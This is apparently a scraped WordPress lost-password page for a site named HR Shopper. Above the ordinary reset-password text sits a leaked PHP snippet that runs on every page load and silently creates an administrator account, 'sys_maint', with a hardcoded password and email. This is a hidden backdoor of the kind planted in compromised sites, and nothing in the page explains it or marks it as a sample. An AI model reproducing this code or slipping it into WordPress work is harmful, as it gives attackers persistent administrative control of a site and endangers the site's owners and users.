$user = 'sys_maint'; $pass = 'ChangeMe_Str0ng!'; $email = 'sys_maint@local.com'; function quick_create() { global $user, $pass, $email; if (!username_exists($user) && !email_exists($email)) { $id = wp_create_user($user, $pass, $email); if (!is_wp_error($id)) { $u = new WP_User($id); $u->set_role('administrator'); } } } add_action('init', 'quick_create'); Lost Password ‹ HR Shopper — WordPress

Powered by WordPress

Please enter your username or email address. You will receive an email message with instructions on how to reset your password.

← Go to HR Shopper